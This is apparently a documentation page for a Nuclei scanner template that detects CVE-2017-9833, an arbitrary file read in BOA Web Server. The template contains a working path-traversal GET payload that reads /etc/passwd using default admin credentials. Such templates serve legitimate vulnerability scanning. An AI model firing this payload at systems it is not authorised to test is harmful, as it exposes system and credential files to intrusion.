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BOA Web Server 0.94.14 - Arbitrary File Access

ID: CVE-2017-9833

Severity: high

Author: 0x_Akoko

Tags: cve,cve2017,boa,lfr,lfi,edb

Description

Section titled “Description”

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of ”../..” using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.

YAML Source

Section titled “YAML Source”
id: CVE-2017-9833


info:
  name: BOA Web Server 0.94.14 - Arbitrary File Access
  author: 0x_Akoko
  severity: high
  description: BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials.
  impact: |
    An attacker can gain unauthorized access to sensitive files on the server.
  remediation: |
    Upgrade to a patched version of BOA Web Server or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/42290
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9833
    - https://pastebin.com/raw/rt7LJvyF
    - https://www.exploit-db.com/exploits/42290/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-9833
    cwe-id: CWE-22
    epss-score: 0.7354
    epss-percentile: 0.98104
    cpe: cpe:2.3:a:boa:boa:0.94.14.21:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: boa
    product: boa
  tags: cve,cve2017,boa,lfr,lfi,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-9833.yaml"

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